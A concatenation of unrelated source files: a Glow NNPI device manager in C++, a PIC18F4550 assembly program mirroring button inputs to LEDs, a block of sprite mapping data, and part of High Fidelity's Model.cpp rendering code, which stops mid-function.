#include "llvm/Support/FormatVariadic.h"
#include "llvm/Support/raw_ostream.h"
#include "DebugMacros.h"
#include "glow/Support/Error.h"
namespace glow {
namespace runtime {
unsigned GlowNNPIMemory = 0;
static llvm::cl::opt<unsigned, /* ExternalStorage */ true>
GlowNNPIMemoryOpt("glow-nnpi-memory",
llvm::cl::desc("Override the amount of DRAM to allocate "
"per NNPI device, in kilobytes"),
llvm::cl::location(GlowNNPIMemory));
DeviceManager *createNNPIDeviceManager(const DeviceConfig &config,
NNPIAdapterContainer *adapter) {
std::shared_ptr<NNPIDeviceOptions> deviceOptions =
std::make_shared<NNPIDeviceOptions>(config.parameters);
NNPIAdapter nnpiAdapter = adapter->get(deviceOptions->inferOnDevice);
if (deviceOptions->inferOnDevice && nnpiAdapter == NNPI_INVALID_NNPIHANDLE) {
LOG(ERROR) << "Adapter allocation failed";
return nullptr;
}
return new NNPIDeviceManager(config, deviceOptions, nnpiAdapter);
}
// 1K bytes.
static constexpr uint64_t KB = 1 << 10;
//////////////////////////////////////////////////////////////////////////
std::atomic<RunIdentifierTy> NNPIDeviceManager::runIdentifier_;
NNPIDeviceManager::NNPIDeviceManager(
const DeviceConfig &config,
std::shared_ptr<NNPIDeviceOptions> deviceOptions, NNPIAdapter adapter,
unsigned numInferenceWorkers)
: DeviceManager(config), numWorkersPerFunction_(numInferenceWorkers),
deviceId_(config_.deviceID), adapter_(adapter),
device_(NNPI_INVALID_NNPIHANDLE), deviceOptions_(deviceOptions) {
if (deviceOptions_->showVars) {
LOG(INFO) << deviceOptions_->dumpStatus();
}
if (deviceOptions_->deviceId >= 0) {
deviceId_ = static_cast<unsigned>(deviceOptions_->deviceId);
}
if (!numWorkersPerFunction_) {
numWorkersPerFunction_ = 2;
}
if (deviceOptions_->numWorkers > 0) {
numWorkersPerFunction_ = deviceOptions_->numWorkers;
}
// Ice-ref not re-entrant for the same nnpiNetwork.
numWorkersPerFunction_ =
deviceOptions_->inferOnDevice ? numWorkersPerFunction_ : 1;
}
NNPIDeviceManager::~NNPIDeviceManager() {
std::unordered_set<std::string> functionsNames;
for (auto func : functions_) {
functionsNames.emplace(func.first);
}
for (auto func : functionsNames) {
evictNetwork(func, [](std::string name, Error err) {
LOG_IF(ERROR, ERR_TO_BOOL(std::move(err)))
<< "Failed to evict network during NNPIDeviceManager destructor";
});
}
// Verify all static placeholders have no external refs.
for (auto &res : staticPlaceholders_) {
LOG_ERROR_IF_NOT(res.second.use_count() == 0)
<< "Static placeholder has pending refs";
}
// Verify all static placeholders have no external refs.
for (auto &res : staticPlaceholders_) {
LOG_ERROR_IF_NOT(res.second.use_count() == 0)
<< "Static placeholder has pending refs";
}
if (device_ != NNPI_INVALID_NNPIHANDLE) {
LOG_NNPI_INF_IF_ERROR(nnpiDeviceContextDestroy(device_),
"Failed to destroy NNPI device context");
device_ = NNPI_INVALID_NNPIHANDLE;
}
}
Error NNPIDeviceManager::init() {
LOG_IF_NOT_RETURN_LLVMERROR(device_ == NNPI_INVALID_NNPIHANDLE,
"Invalid NNPI device");
NNPITransformerInfo info;
CHECK_EQ(nnpiTransformerGetInfo(&info), NNPI_NO_ERROR);
LOG(INFO) << "NNPI Transformer Version " << info.majorVersion << "."
<< info.minorVersion << "." << info.patchVersion << "."
<< info.minorPatchVersion;
if (deviceOptions_->inferOnDevice) {
// Create NNPI device.
LOG_NNPI_INF_IF_ERROR_RETURN_LLVMERROR(
nnpiDeviceContextCreate(adapter_, deviceId_, &device_),
"Failed to create NNPI Device");
if (deviceOptions_->enabledDeviceTracing) {
deviceTracing_ = NNPIDeviceTracing::getForDevice(deviceId_);
}
NNPIDeviceInfo deviceInfo;
LOG_NNPI_INF_IF_ERROR_RETURN_LLVMERROR(
nnpiDeviceGetInfo(deviceId_, &deviceInfo),
"Failed to get NNPI Device Info");
maxMemoryBytes_ =
static_cast<uint64_t>(deviceInfo.totalUnprotectedMemory) * KB;
LOG(INFO) << "NNPI Driver Version "
<< static_cast<int>(deviceInfo.driverVersion.major) << "."
<< static_cast<int>(deviceInfo.driverVersion.minor) << "."
<< static_cast<int>(deviceInfo.driverVersion.dot);
LOG(INFO) << "NNPI Firmware Version "
<< static_cast<int>(deviceInfo.fwVersion.major) << "."
<< static_cast<int>(deviceInfo.fwVersion.minor) << "."
<< static_cast<int>(deviceInfo.fwVersion.dot);
}
if (GlowNNPIMemory > 0) {
maxMemoryBytes_ = static_cast<uint64_t>(GlowNNPIMemory) * KB;
} else if (deviceOptions_->deviceMemory > 0) {
maxMemoryBytes_ = static_cast<uint64_t>(deviceOptions_->deviceMemory) * KB;
}
runIdentifier_ = 0;
return Error::success();
}
void NNPIDeviceManager::addNetwork(const Module *module,
FunctionMapTy functions, ReadyCBTy readyCB) {
std::unique_lock<std::mutex> lock(functionMapMutex_);
// First check for uniqueness of the function name.
for (const auto &func : functions) {
if (functions_.count(func.first) != 0) {
lock.unlock();
readyCB(
module,
MAKE_ERR(
llvm::formatv(
"Failed to add network: already have a function called {0}",
func.first)
.str()));
return;
}
if (func.second->getCompileBackendName() != "NNPI") {
lock.unlock();
readyCB(module, MAKE_ERR(llvm::formatv("Failed to add network: function "
"{0} is not a NNPIFunction",
func.first)
.str()));
return;
}
}
if (usedMemoryBytes_ + functionCost_ > maxMemoryBytes_) {
lock.unlock();
readyCB(module,
MAKE_ERR(ErrorValue::ErrorCode::RUNTIME_OUT_OF_DEVICE_MEMORY,
"Failed to add network: not enough memory"));
return;
}
// Add to the function name lookup map.
for (const auto &func : functions) {
functions_.emplace(func.first, func.second);
usedMemoryBytes_ += functionCost_; // TODO:: static moduleSize.
auto err = inferenceEnvs_[func.first].init(
numWorkersPerFunction_, adapter_, device_, deviceTracing_, func.second,
&staticPlaceholders_, deviceOptions_, func.first, deviceId_);
if (err) {
functions_.erase(func.first);
lock.unlock();
readyCB(module, std::move(err));
}
}
LOG_IF(WARNING, usedMemoryBytes_ > maxMemoryBytes_)
<< "Using more memory than expected";
// Fire the ready CB.
lock.unlock();
readyCB(module, Error::success());
}
void NNPIDeviceManager::evictNetwork(std::string functionName,
EvictFunctionCBTy evictCB) {
std::unique_lock<std::mutex> lock(functionMapMutex_);
Error err = Error::success();
if (functions_.erase(functionName)) {
usedMemoryBytes_ -= functionCost_; // TODO: static moduleSize.
inferenceEnvs_.at(functionName)
.stop(true); // First stop existing threads on this network.
inferenceEnvs_.erase(functionName);
} else {
err =
MAKE_ERR(ErrorValue::ErrorCode::RUNTIME_NET_NOT_FOUND,
llvm::formatv("Could not find function with name {0} to evict",
functionName)
.str());
}
// Remove unused static placeholders
std::unordered_set<const Placeholder *> unusedPlaceholders;
for (auto &sph : staticPlaceholders_) {
if (sph.second.use_count() == 0) {
unusedPlaceholders.insert(sph.first);
}
}
for (auto *ph : unusedPlaceholders) {
staticPlaceholders_.erase(ph);
}
lock.unlock();
if (evictCB) {
evictCB(functionName, std::move(err));
} else {
llvm::errs() << ERR_TO_STRING(std::move(err));
}
}
RunIdentifierTy
NNPIDeviceManager::runFunction(std::string functionName,
std::unique_ptr<ExecutionContext> ctx,
runtime::ResultCBTy resultCB) {
RunIdentifierTy runId = runIdentifier_++;
/// NNPI DeviceManager doesn't support Device Resident Tensors.
ctx->getPlaceholderBindings()->ensureOnHost();
// Get thread env.
auto infEnv = inferenceEnvs_.find(functionName);
if (infEnv == inferenceEnvs_.end()) {
resultCB(runId, MAKE_ERR("Function isn't ready on the device"),
std::move(ctx));
return runId;
}
infEnv->second.execute(runId, std::move(ctx), std::move(resultCB));
return runId;
}
Error NNPIDeviceManager::stop(bool block) {
for (auto &env : inferenceEnvs_) {
env.second.stop(block);
}
return Error::success();
}
uint64_t NNPIDeviceManager::getMaximumMemory() const { return maxMemoryBytes_; }
uint64_t NNPIDeviceManager::getAvailableMemory() const {
if (GlowNNPIMemory == 0 && deviceOptions_->deviceMemory == 0 &&
deviceOptions_->inferOnDevice) {
NNPIDeviceStatus devStatus;
NNPIInferenceErrorCode res = nnpiDeviceGetStatus(deviceId_, &devStatus);
if (res != NNPI_INF_NO_ERROR) {
LOG_NNPI_INF_IF_ERROR(res, "Failed to read available memory from device.")
return 0;
}
return static_cast<uint64_t>(devStatus.availableUnprotectedMemory) * KB;
}
auto freeMemory = getMaximumMemory();
for (const auto &p : functions_) {
const auto &fn = p.second;
const auto &bundle = fn->getRuntimeBundle();
freeMemory -= bundle.getConstantWeightSize();
freeMemory -= bundle.getMutableWeightSize();
}
return freeMemory;
}
bool NNPIDeviceManager::isMemoryAvailable(uint64_t estimate) const {
return estimate <= getAvailableMemory(); // This is just an estimate and not
// necessarily accurate.
}
void NNPIDeviceManager::transferStaticPlaceholderToDevice(
Placeholder *PH, Tensor *T, std::function<void(Error)> resultCB) {
LOG_AND_FAIL_CALLBACK_IF_NOT(
staticPlaceholders_.count(PH) != 0,
"Static placeholder does not exist on the device", resultCB);
auto nnpiResource = staticPlaceholders_.at(PH).lock();
LOG_AND_FAIL_CALLBACK_IF_NOT(
nnpiResource != nullptr,
"Static placeholder no longer exists on the device", resultCB);
nnpiResource->updateDeviceResourceFromTensor(T, resultCB);
};
Error NNPIDeviceManager::startDeviceTrace(TraceContext *traceContext) {
if (!NNPIDeviceTracing::getForDevice(deviceId_)->start(traceContext,
device_)) {
return MAKE_ERR("Failed to start NNPI device trace.");
}
return Error::success();
}
Error NNPIDeviceManager::stopDeviceTrace(TraceContext *traceContext) {
if (!NNPIDeviceTracing::getForDevice(deviceId_)->stopAndUpdate(traceContext,
device_)) {
return MAKE_ERR("Failed to stop NNPI device trace.");
}
return Error::success();
}
Error NNPIDeviceManager::bindContext(std::string functionName,
ExecutionContext *ctx,
PlaceholderUsageMap &phUsage) {
if (deviceOptions_->dumpRuntime) {
DotWriter::addSubGraph(std::to_string(device_),
std::string("Device ") + std::to_string(deviceId_) +
" (" + DotWriter::getHexStr(device_) + ")");
}
// Create inference context.
ASSERT_WITH_MSG(inferenceEnvs_.count(functionName), "Invalid function name.");
std::shared_ptr<InferenceContext> infCtx(
inferenceEnvs_.at(functionName).createDetachedInferenceContext(phUsage));
ASSERT_WITH_MSG(infCtx, "Failed to create detached context");
// Set the inference context into NNPIDeviceBinding and store in the ExCtx.
ctx->setDeviceBindings(std::make_unique<NNPIDeviceBindings>(infCtx));
return Error::success();
}
void NNPIDeviceManager::addPlaceholderUsageCount(std::string functionName,
PlaceholderUsageMap &phUsage) {
if (functions_.count(functionName)) {
NNPICompiledFunction *func =
dynamic_cast<NNPICompiledFunction *>(functions_.at(functionName));
ASSERT_WITH_MSG(func, "Invalid function.");
for (auto inputName : func->getInputNames()) {
phUsage[inputName].numReaders++;
phUsage[inputName].devices.insert(device_);
}
for (auto outputName : func->getOutputNames()) {
phUsage[outputName].numWriters++;
phUsage[outputName].devices.insert(device_);
}
}
}
} // namespace runtime
} // namespace glow
|
list p=18f4550 ;modelo de procesador
#include <p18f4550.inc> ;llamado a libreria de nombres
;Aqui van los bits de configuracion
CONFIG FOSC = XT_XT ; Oscillator Selection bits (XT oscillator (XT))
CONFIG PWRT = ON ; Power-up Timer Enable bit (PWRT enabled)
CONFIG BOR = OFF ; Brown-out Reset Enable bits (Brown-out Reset disabled in hardware and software)
CONFIG WDT = OFF ; Watchdog Timer Enable bit (WDT disabled (control is placed on the SWDTEN bit))
CONFIG PBADEN = OFF ; PORTB A/D Enable bit (PORTB<4:0> pins are configured as digital I/O on Reset)
CONFIG LVP = OFF ; Single-Supply ICSP Enable bit (Single-Supply ICSP disabled)
org 0x0000 ;vector de reset
goto init_conf ;salto al label init_conf
org 0x0020 ;zona de programa de usuario
init_conf:
bsf TRISB, 0 ;RB0 es una entrada
bsf TRISB, 1 ;RB1 es una entrada
bcf TRISD, 0 ;RD0 es una salida
bcf TRISD, 1 ;RD1 es una salida
inicio:
btfss PORTB, 1 ;pregunto si RD7 es uno
goto noes ;viene aqui cuando es falso y salta a label noes
bcf LATD, 1 ;viene aqui cuando es verdadero RB1=0
goto otro ;salta a label inicio
noes:
bsf LATD, 1 ;RB1=1
goto otro ;salta a label inicio
otro:
btfss PORTB, 0 ;pregunto si RD7 es uno
goto noes2 ;viene aqui cuando es falso y salta a label noes
bcf LATD, 0 ;viene aqui cuando es verdadero RB1=0
goto inicio ;salta a label inicio
noes2:
bsf LATD, 0 ;RB1=1
goto inicio ;salta a label inicio
end |
Map_4E2A2: dc.w word_4E2A4-Map_4E2A2
word_4E2A4: dc.w 3
dc.b $EC, $E, 0, 0, $FF, $F4
dc.b 4, $D, 0, $C, $FF, $EC
dc.b $C, 0, 0, $14, 0, $C
|
//
// Model.cpp
// interface/src/renderer
//
// Created by Andrzej Kapolka on 10/18/13.
// Copyright 2013 High Fidelity, Inc.
//
// Distributed under the Apache License, Version 2.0.
// See the accompanying file LICENSE or http://www.apache.org/licenses/LICENSE-2.0.html
//
#include <QMetaType>
#include <QRunnable>
#include <QThreadPool>
#include <glm/gtx/transform.hpp>
#include <glm/gtx/norm.hpp>
#include <GeometryUtil.h>
#include <PathUtils.h>
#include <PerfStat.h>
#include <ViewFrustum.h>
#include <GLMHelpers.h>
#include "AbstractViewStateInterface.h"
#include "MeshPartPayload.h"
#include "Model.h"
#include "RenderUtilsLogging.h"
#include <Trace.h>
using namespace std;
int nakedModelPointerTypeId = qRegisterMetaType<ModelPointer>();
int weakGeometryResourceBridgePointerTypeId = qRegisterMetaType<Geometry::WeakPointer >();
int vec3VectorTypeId = qRegisterMetaType<QVector<glm::vec3> >();
float Model::FAKE_DIMENSION_PLACEHOLDER = -1.0f;
#define HTTP_INVALID_COM "http://invalid.com"
const int NUM_COLLISION_HULL_COLORS = 24;
std::vector<model::MaterialPointer> _collisionMaterials;
void initCollisionMaterials() {
// generates bright colors in red, green, blue, yellow, magenta, and cyan spectrums
// (no browns, greys, or dark shades)
float component[NUM_COLLISION_HULL_COLORS] = {
0.0f, 0.0f, 0.0f, 0.0f,
0.0f, 0.0f, 0.0f, 0.0f,
0.2f, 0.4f, 0.6f, 0.8f,
1.0f, 1.0f, 1.0f, 1.0f,
1.0f, 1.0f, 1.0f, 1.0f,
0.8f, 0.6f, 0.4f, 0.2f
};
_collisionMaterials.reserve(NUM_COLLISION_HULL_COLORS);
// each component gets the same cuve
// but offset by a multiple of one third the full width
int numComponents = 3;
int sectionWidth = NUM_COLLISION_HULL_COLORS / numComponents;
int greenPhase = sectionWidth;
int bluePhase = 2 * sectionWidth;
// we stride through the colors to scatter adjacent shades
// so they don't tend to group together for large models
for (int i = 0; i < sectionWidth; ++i) {
for (int j = 0; j < numComponents; ++j) {
model::MaterialPointer material;
material = std::make_shared<model::Material>();
int index = j * sectionWidth + i;
float red = component[index];
float green = component[(index + greenPhase) % NUM_COLLISION_HULL_COLORS];
float blue = component[(index + bluePhase) % NUM_COLLISION_HULL_COLORS];
material->setAlbedo(glm::vec3(red, green, blue));
material->setMetallic(0.02f);
material->setRoughness(0.5f);
_collisionMaterials.push_back(material);
}
}
}
Model::Model(RigPointer rig, QObject* parent) :
QObject(parent),
_renderGeometry(),
_collisionGeometry(),
_renderWatcher(_renderGeometry),
_translation(0.0f),
_rotation(),
_scale(1.0f, 1.0f, 1.0f),
_scaleToFit(false),
_scaleToFitDimensions(1.0f),
_scaledToFit(false),
_snapModelToRegistrationPoint(false),
_snappedToRegistrationPoint(false),
_cauterizeBones(false),
_pupilDilation(0.0f),
_url(HTTP_INVALID_COM),
_isVisible(true),
_blendNumber(0),
_appliedBlendNumber(0),
_calculatedMeshPartBoxesValid(false),
_calculatedMeshBoxesValid(false),
_calculatedMeshTrianglesValid(false),
_isWireframe(false),
_rig(rig)
{
// we may have been created in the network thread, but we live in the main thread
if (_viewState) {
moveToThread(_viewState->getMainThread());
}
setSnapModelToRegistrationPoint(true, glm::vec3(0.5f));
connect(&_renderWatcher, &GeometryResourceWatcher::finished, this, &Model::loadURLFinished);
}
Model::~Model() {
deleteGeometry();
}
AbstractViewStateInterface* Model::_viewState = NULL;
bool Model::needsFixupInScene() const {
return (_needsFixupInScene || !_addedToScene) && !_needsReload && isLoaded();
}
// TODO?: should we combine translation and rotation into single method to avoid double-work?
// (figure out where we call these)
void Model::setTranslation(const glm::vec3& translation) {
_translation = translation;
updateRenderItems();
}
void Model::setRotation(const glm::quat& rotation) {
_rotation = rotation;
updateRenderItems();
}
void Model::setScale(const glm::vec3& scale) {
setScaleInternal(scale);
// if anyone sets scale manually, then we are no longer scaled to fit
_scaleToFit = false;
_scaledToFit = false;
}
const float SCALE_CHANGE_EPSILON = 0.01f;
void Model::setScaleInternal(const glm::vec3& scale) {
if (glm::distance(_scale, scale) > SCALE_CHANGE_EPSILON) {
_scale = scale;
if (_scale.x == 0.0f || _scale.y == 0.0f || _scale.z == 0.0f) {
assert(false);
}
simulate(0.0f, true);
}
}
void Model::setOffset(const glm::vec3& offset) {
_offset = offset;
// if someone manually sets our offset, then we are no longer snapped to center
_snapModelToRegistrationPoint = false;
_snappedToRegistrationPoint = false;
}
void Model::calculateTextureInfo() {
if (!_hasCalculatedTextureInfo && isLoaded() && getGeometry()->areTexturesLoaded() && !_modelMeshRenderItems.isEmpty()) {
size_t textureSize = 0;
int textureCount = 0;
bool allTexturesLoaded = true;
foreach(auto renderItem, _modelMeshRenderItemsSet) {
auto meshPart = renderItem.get();
textureSize += meshPart->getMaterialTextureSize();
textureCount += meshPart->getMaterialTextureCount();
allTexturesLoaded = allTexturesLoaded & meshPart->hasTextureInfo();
}
_renderInfoTextureSize = textureSize;
_renderInfoTextureCount = textureCount;
_hasCalculatedTextureInfo = allTexturesLoaded; // only do this once
}
}
size_t Model::getRenderInfoTextureSize() {
calculateTextureInfo();
return _renderInfoTextureSize;
}
int Model::getRenderInfoTextureCount() {
calculateTextureInfo();
return _renderInfoTextureCount;
}
void Model::updateRenderItems() {
if (!_addedToScene) {
return;
}
glm::vec3 scale = getScale();
if (_collisionGeometry) {
// _collisionGeometry is already scaled
scale = glm::vec3(1.0f);
}
_needsUpdateClusterMatrices = true;
_renderItemsNeedUpdate = false;
// queue up this work for later processing, at the end of update and just before rendering.
// the application will ensure only the last lambda is actually invoked.
void* key = (void*)this;
std::weak_ptr<Model> weakSelf = shared_from_this();
AbstractViewStateInterface::instance()->pushPostUpdateLambda(key, [weakSelf, scale]() {
// do nothing, if the model has already been destroyed.
auto self = weakSelf.lock();
if (!self) {
return;
}
render::ScenePointer scene = AbstractViewStateInterface::instance()->getMain3DScene();
Transform modelTransform;
modelTransform.setScale(scale);
modelTransform.setTranslation(self->_translation);
modelTransform.setRotation(self->_rotation);
Transform modelMeshOffset;
if (self->isLoaded()) {
// includes model offset and unitScale.
modelMeshOffset = Transform(self->_rig->getGeometryToRigTransform());
} else {
modelMeshOffset.postTranslate(self->_offset);
}
uint32_t deleteGeometryCounter = self->_deleteGeometryCounter;
render::PendingChanges pendingChanges;
foreach (auto itemID, self->_modelMeshRenderItems.keys()) {
pendingChanges.updateItem<ModelMeshPartPayload>(itemID, [modelTransform, modelMeshOffset, deleteGeometryCounter](ModelMeshPartPayload& data) {
if (data._model && data._model->isLoaded()) {
if (!data.hasStartedFade() && data._model->getGeometry()->areTexturesLoaded()) {
data.startFade();
}
// Ensure the model geometry was not reset between frames
if (deleteGeometryCounter == data._model->_deleteGeometryCounter) {
// lazy update of cluster matrices used for rendering. We need to update them here, so we can correctly update the bounding box.
data._model->updateClusterMatrices(modelTransform.getTranslation(), modelTransform.getRotation());
// update the model transform and bounding box for this render item.
const Model::MeshState& state = data._model->_meshStates.at(data._meshIndex);
data.updateTransformForSkinnedMesh(modelTransform, modelMeshOffset, state.clusterMatrices);
}
}
});
}
// collision mesh does not share the same unit scale as the FBX file's mesh: only apply offset
Transform collisionMeshOffset;
collisionMeshOffset.setIdentity();
foreach (auto itemID, self->_collisionRenderItems.keys()) {
pendingChanges.updateItem<MeshPartPayload>(itemID, [modelTransform, collisionMeshOffset](MeshPartPayload& data) {
// update the model transform for this render item.
data.updateTransform(modelTransform, collisionMeshOffset);
});
}
scene->enqueuePendingChanges(pendingChanges);
});
}
void Model::initJointTransforms() {
if (isLoaded()) {
glm::mat4 modelOffset = glm::scale(_scale) * glm::translate(_offset);
_rig->setModelOffset(modelOffset);
}
}
void Model::init() {
}
void Model::reset() {
if (isLoaded()) {
const FBXGeometry& geometry = getFBXGeometry();
_rig->reset(geometry);
}
}
bool Model::updateGeometry() {
PROFILE_RANGE(render, __FUNCTION__);
PerformanceTimer perfTimer("Model::updateGeometry");
bool needFullUpdate = false;
if (!isLoaded()) {
return false;
}
_needsReload = false;
if (_rig->jointStatesEmpty() && getFBXGeometry().joints.size() > 0) {
initJointStates();
const FBXGeometry& fbxGeometry = getFBXGeometry();
foreach (const FBXMesh& mesh, fbxGeometry.meshes) {
MeshState state;
state.clusterMatrices.resize(mesh.clusters.size());
state.cauterizedClusterMatrices.resize(mesh.clusters.size());
_meshStates.append(state);
auto buffer = std::make_shared<gpu::Buffer>();
if (!mesh.blendshapes.isEmpty()) {
buffer->resize((mesh.vertices.size() + mesh.normals.size()) * sizeof(glm::vec3));
buffer->setSubData(0, mesh.vertices.size() * sizeof(glm::vec3), (gpu::Byte*) mesh.vertices.constData());
buffer->setSubData(mesh.vertices.size() * sizeof(glm::vec3),
mesh.normals.size() * sizeof(glm::vec3), (gpu::Byte*) mesh.normals.constData());
}
_blendedVertexBuffers.push_back(buffer);
}
needFullUpdate = true;
}
return needFullUpdate;
}
// virtual
void Model::initJointStates() {
const FBXGeometry& geometry = getFBXGeometry();
glm::mat4 modelOffset = glm::scale(_scale) * glm::translate(_offset);
_rig->initJointStates(geometry, modelOffset);
}
bool Model::findRayIntersectionAgainstSubMeshes(const glm::vec3& origin, const glm::vec3& direction, float& distance,
BoxFace& face, glm::vec3& surfaceNormal,
QString& extraInfo, bool pickAgainstTriangles) {
bool intersectedSomething = false;
// if we aren't active, we can't ray pick yet...
if (!isActive()) {
return intersectedSomething;
}
// extents is the entity relative, scaled, centered extents of the entity
glm::vec3 position = _translation;
glm::mat4 rotation = glm::mat4_cast(_rotation);
glm::mat4 translation = glm::translate(position);
glm::mat4 modelToWorldMatrix = translation * rotation;
glm::mat4 worldToModelMatrix = glm::inverse(modelToWorldMatrix);
Extents modelExtents = getMeshExtents(); // NOTE: unrotated
glm::vec3 dimensions = modelExtents.maximum - modelExtents.minimum;
glm::vec3 corner = -(dimensions * _registrationPoint); // since we're going to do the ray picking in the model frame of reference
AABox modelFrameBox(corner, dimensions);
glm::vec3 modelFrameOrigin = glm::vec3(worldToModelMatrix * glm::vec4(origin, 1.0f));
glm::vec3 modelFrameDirection = glm::vec3(worldToModelMatrix * glm::vec4(direction, 0.0f));
// we can use the AABox's ray intersection by mapping our origin and direction into the model frame
// and testing intersection there.
if (modelFrameBox.findRayIntersection(modelFrameOrigin, modelFrameDirection, distance, face, surfaceNormal)) {
float bestDistance = std::numeric_limits<float>::max();
float distanceToSubMesh;
BoxFace subMeshFace;
glm::vec3 subMeshSurfaceNormal;
int subMeshIndex = 0;
const FBXGeometry& geometry = getFBXGeometry();
// If we hit the models box, then consider the submeshes...
_mutex.lock();
if (!_calculatedMeshBoxesValid || (pickAgainstTriangles && !_calculatedMeshTrianglesValid)) {
recalculateMeshBoxes(pickAgainstTriangles);
}
for (const auto& subMeshBox : _calculatedMeshBoxes) {
if (subMeshBox.findRayIntersection(origin, direction, distanceToSubMesh, subMeshFace, subMeshSurfaceNormal)) {
if (distanceToSubMesh < bestDistance) {
if (pickAgainstTriangles) {
// check our triangles here....
const QVector<Triangle>& meshTriangles = _calculatedMeshTriangles[subMeshIndex];
for(const auto& triangle : meshTriangles) {
float thisTriangleDistance;
if (findRayTriangleIntersection(origin, direction, triangle, thisTriangleDistance)) {
if (thisTriangleDistance < bestDistance) {
bestDistance = thisTriangleDistance;
intersectedSomething = true;
face = subMeshFace;
surfaceNormal = triangle.getNormal();
extraInfo = geometry.getModelNameOfMesh(subMeshIndex);
}
}
}
} else {
// this is the non-triangle picking case...
bestDistance = distanceToSubMesh;
intersectedSomething = true;
face = subMeshFace;
surfaceNormal = subMeshSurfaceNormal;
extraInfo = geometry.getModelNameOfMesh(subMeshIndex);
}
}
}
subMeshIndex++;
}
_mutex.unlock();
if (intersectedSomething) {
distance = bestDistance;
}
return intersectedSomething;
}
return intersectedSomething;
}
bool Model::convexHullContains(glm::vec3 point) {
// if we aren't active, we can't compute that yet...
if (!isActive()) {
return false;
}
// extents is the entity relative, scaled, centered extents of the entity
glm::vec3 position = _translation;
glm::mat4 rotation = glm::mat4_cast(_rotation);
glm::mat4 translation = glm::translate(position);
glm::mat4 modelToWorldMatrix = translation * rotation;
glm::mat4 worldToModelMatrix = glm::inverse(modelToWorldMatrix);
Extents modelExtents = getMeshExtents(); // NOTE: unrotated
glm::vec3 dimensions = modelExtents.maximum - modelExtents.minimum;
glm::vec3 corner = -(dimensions * _registrationPoint);
AABox modelFrameBox(corner, dimensions);
glm::vec3 modelFramePoint = glm::vec3(worldToModelMatrix * glm::vec4(point, 1.0f));
// we can use the AABox's contains() by mapping our point into the model frame
// and testing there.
if (modelFrameBox.contains(modelFramePoint)){
_mutex.lock();
if (!_calculatedMeshTrianglesValid) {
recalculateMeshBoxes(true);
}
// If we are inside the models box, then consider the submeshes...
int subMeshIndex = 0;
foreach(const AABox& subMeshBox, _calculatedMeshBoxes) {
if (subMeshBox.contains(point)) {
bool insideMesh = true;
// To be inside the sub mesh, we need to be behind every triangles' planes
const QVector<Triangle>& meshTriangles = _calculatedMeshTriangles[subMeshIndex];
foreach (const Triangle& triangle, meshTriangles) {
if (!isPointBehindTrianglesPlane(point, triangle.v0, triangle.v1, triangle.v2)) {
// it's not behind at least one so we bail
insideMesh = false;
break;
}
}
if (insideMesh) {
// It's inside this mesh, return true.
_mutex.unlock();
return true;
}
}
subMeshIndex++;
}
_mutex.unlock();
}
// It wasn't in any mesh, return false.
return false;
}
// TODO: we seem to call this too often when things haven't actually changed... look into optimizing this
// Any script might trigger findRayIntersectionAgainstSubMeshes (and maybe convexHullContains), so these
// can occur multiple times. In addition, rendering does it's own ray picking in order to decide which
// entity-scripts to call. I think it would be best to do the picking once-per-frame (in cpu, or gpu if possible)
// and then the calls use the most recent such result.
void Model::recalculateMeshBoxes(bool pickAgainstTriangles) {
PROFILE_RANGE(render, __FUNCTION__);
bool calculatedMeshTrianglesNeeded = pickAgainstTriangles && !_calculatedMeshTrianglesValid;
if (!_calculatedMeshBoxesValid || calculatedMeshTrianglesNeeded || (!_calculatedMeshPartBoxesValid && pickAgainstTriangles) ) {
const FBXGeometry& geometry = getFBXGeometry();
int numberOfMeshes = geometry.meshes.size();
_calculatedMeshBoxes.resize(numberOfMeshes);
_calculatedMeshTriangles.clear();
_calculatedMeshTriangles.resize(numberOfMeshes);
_calculatedMeshPartBoxes.clear();
for (int i = 0; i < numberOfMeshes; i++) {
const FBXMesh& mesh = geometry.meshes.at(i);
Extents scaledMeshExtents = calculateScaledOffsetExtents(mesh.meshExtents, _translation, _rotation);
_calculatedMeshBoxes[i] = AABox(scaledMeshExtents);
if (pickAgainstTriangles) {
QVector<Triangle> thisMeshTriangles;
for (int j = 0; j < mesh.parts.size(); j++) {
const FBXMeshPart& part = mesh.parts.at(j);
bool atLeastOnePointInBounds = false;
AABox thisPartBounds;
const int INDICES_PER_TRIANGLE = 3;
const int INDICES_PER_QUAD = 4;
if (part.quadIndices.size() > 0) {
int numberOfQuads = part.quadIndices.size() / INDICES_PER_QUAD;
int vIndex = 0;
for (int q = 0; q < numberOfQuads; q++) {
int i0 = part.quadIndices[vIndex++];
int i1 = part.quadIndices[vIndex++];
int i2 = part.quadIndices[vIndex++];
int i3 = part.quadIndices[vIndex++];
glm::vec3 mv0 = glm::vec3(mesh.modelTransform * glm::vec4(mesh.vertices[i0], 1.0f));
glm::vec3 mv1 = glm::vec3(mesh.modelTransform * glm::vec4(mesh.vertices[i1], 1.0f));
glm::vec3 mv2 = glm::vec3(mesh.modelTransform * glm::vec4(mesh.vertices[i2], 1.0f));
glm::vec3 mv3 = glm::vec3(mesh.modelTransform * glm::vec4(mesh.vertices[i3], 1.0f));
// track the mesh parts in model space
if (!atLeastOnePointInBounds) {
thisPartBounds.setBox(mv0, 0.0f);
atLeastOnePointInBounds = true;
} else {
thisPartBounds += mv0;
}
thisPartBounds += mv1;
thisPartBounds += mv2;
thisPartBounds += mv3;
glm::vec3 v0 = calculateScaledOffsetPoint(mv0);
glm::vec3 v1 = calculateScaledOffsetPoint(mv1);
glm::vec3 v2 = calculateScaledOffsetPoint(mv2);
glm::vec3 v3 = calculateScaledOffsetPoint(mv3);
// Sam's recommended triangle slices
Triangle tri1 = { v0, v1, v3 };
Triangle tri2 = { v1, v2, v3 };
// NOTE: Random guy on the internet's recommended triangle slices
//Triangle tri1 = { v0, v1, v2 };
//Triangle tri2 = { v2, v3, v0 };
thisMeshTriangles.push_back(tri1);
thisMeshTriangles.push_back(tri2);
}
}
if (part.triangleIndices.size() > 0) {
int numberOfTris = part.triangleIndices.size() / INDICES_PER_TRIANGLE;
int vIndex = 0;
for (int t = 0; t < numberOfTris; t++) {
int i0 = part.triangleIndices[vIndex++];
int i1 = part.triangleIndices[vIndex++];
int i2 = part.triangleIndices[vIndex++];
glm::vec3 mv0 = glm::vec3(mesh.modelTransform * glm::vec4(mesh.vertices[i0], 1.0f));
glm::vec3 mv1 = glm::vec3(mesh.modelTransform * glm::vec4(mesh.vertices[i1], 1.0f));
glm::vec3 mv2 = glm::vec3(mesh.modelTransform * glm::vec4(mesh.vertices[i2], 1.0f));
// track the mesh parts in model space
if (!atLeastOnePointInBounds) {
thisPartBounds.setBox(mv0, 0.0f);
